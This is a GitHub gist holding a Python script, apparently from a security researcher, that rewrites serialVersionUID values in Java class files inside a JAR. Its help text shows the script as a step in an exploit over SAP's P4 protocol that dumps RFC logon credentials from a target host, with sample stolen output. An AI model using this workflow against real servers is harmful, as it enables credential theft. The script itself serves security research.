Created
November 11, 2017 09:37
-
-
Save gelim/db9d5e2f9a6603a1b96618745a8ff8bd to your computer and use it in GitHub Desktop.
JAR serialVersionUID patched
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python [54/1801] | |
# | |
# serialVersionUID Java class modifier | |
# -- gelim @ ERPScan | |
# | |
from pprint import pprint | |
import argparse | |
import zipfile | |
import struct | |
import shutil | |
import tempfile | |
import sys | |
import os | |
desc = ''' | |
serialVersionUID Java class modifiyer, an attempt | |
to bypass exception 'java.io.InvalidClassException'... | |
Use case: | |
- Attempt to dump RFC secrets via P4 | |
$ java -cp ".:jars/*:*" exploiter 192.168.10.2 | |
[...] | |
InvalidClassException: Unexpected exception | |
Cause : java.io.InvalidClassException: com.foo.bar.some.service.BundleConfiguration; | |
local class incompatible: stream classdesc serialVersionUID = 1018092003, local class serialVersionUID = 13371337 | |
- Looking the problematic JAR (use find+unzip -l) | |
$ ./jar_serial_pacth.py -r -j jars/problematic.jar | |
[...] | |
com/foo/bar/some/service/ApplicationRunnable.class : 8020674783437682317 | |
com/foo/bar/some/service/BundleConfiguration.class : 13371337 <--- patch that | |
- Patching the proper class | |
$ jar_serial_pacth.py --write --jar jars/problematic.jar \\ | |
--class com/foo/bar/some/service/BundleConfiguration.class \\ | |
--serial 1018092003 # <--- value asked server-side | |
- We retry the connection | |
$ java -cp ".:jars/*:*" exploiter 192.168.10.2 | |
[...] | |
LOGONCLIENT LOGONUSER LOGONPASSWORD | |
--------------------------------------------- | |
10.1.0.2 toto superpassword | |
''' | |
parser = argparse.ArgumentParser(description=desc, | |
formatter_class=argparse.RawTextHelpFormatter) | |
parser.add_argument('-r', '--read', action='store_true', | |
default=None, help='read / display serialVersionUID of files contained in the JAR') | |
parser.add_argument('-w', '--write', action='store_true', default=None, help=''' | |
write serialVersionUID of given .class contained | |
in the JAR (default write to JARFILE.new, | |
use --inplace if you want to overwrite the actual JAR') | |
''') | |
parser.add_argument('-j', '--jar', help='Work on this jar file') | |
parser.add_argument('-i', '--inplace', action='store_true', help='Work on this jar file') | |
parser.add_argument('-s', '--serial', default=None, help='Serial to be overwritten in classfile') | |
parser.add_argument('-c', '--classfile', default=None, help='Class file to work with') | |
args = parser.parse_args() | |
# WARNING: hard-coded offset | |
serial_begin = 37 | |
serial_end = 45 | |
def remove_from_zip(zipfname, *filenames): | |
tempdir = tempfile.mkdtemp() | |
try: | |
tempname = os.path.join(tempdir, 'new.zip') | |
with zipfile.ZipFile(zipfname, 'r') as zipread: | |
with zipfile.ZipFile(tempname, 'w') as zipwrite: | |
for item in zipread.infolist(): | |
if item.filename not in filenames: | |
data = zipread.read(item.filename) | |
zipwrite.writestr(item, data) | |
shutil.move(tempname, zipfname) | |
finally: | |
shutil.rmtree(tempdir) | |
def jar_list(jarfile): | |
zip = zipfile.ZipFile(jarfile, 'r') | |
filelist = [ cls.filename for cls in zip.infolist()] | |
classlist = filter(lambda e: e.endswith('.class'), filelist) | |
for cls in classlist: | |
data = zip.read(cls) | |
ofs_label = data.find('serialVersionUID') | |
if ofs_label > 0: | |
version_r = data[ofs_label+serial_begin:ofs_label+serial_end] | |
version = struct.unpack('>q', version_r)[0] | |
print cls.ljust(90) + ': %d'.ljust(10) % version | |
def jar_write(jarfile, classfile, serial): | |
zip = zipfile.ZipFile(jarfile, 'r') | |
baseclass = os.path.basename(classfile) | |
data = zip.read(classfile) | |
ofs_label = data.find('serialVersionUID') | |
if ofs_label <= 0: | |
print "jar_write: ERROR, serialVersionUID not found in classfile", classfile | |
sys.exit(0) | |
data_new = data[:ofs_label+serial_begin] + struct.pack('>q', long(serial)) + data[ofs_label+serial_end:] | |
# write the new class | |
open("/tmp/%s" % baseclass, "w").write(data_new) | |
# remove the class in JAR | |
remove_from_zip(jarfile, classfile) | |
# add the new patched class | |
with zipfile.ZipFile(jarfile, 'a') as z: | |
z.write("/tmp/%s" % baseclass, arcname=classfile) | |
if __name__ == '__main__': | |
if args.read and args.jar: | |
jar_list(args.jar) | |
if args.write and args.jar and args.classfile and args.serial: | |
orig_jar = args.jar + ".DISABLED" | |
shutil.copy(args.jar, orig_jar) | |
jar_write(args.jar, args.classfile, args.serial) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment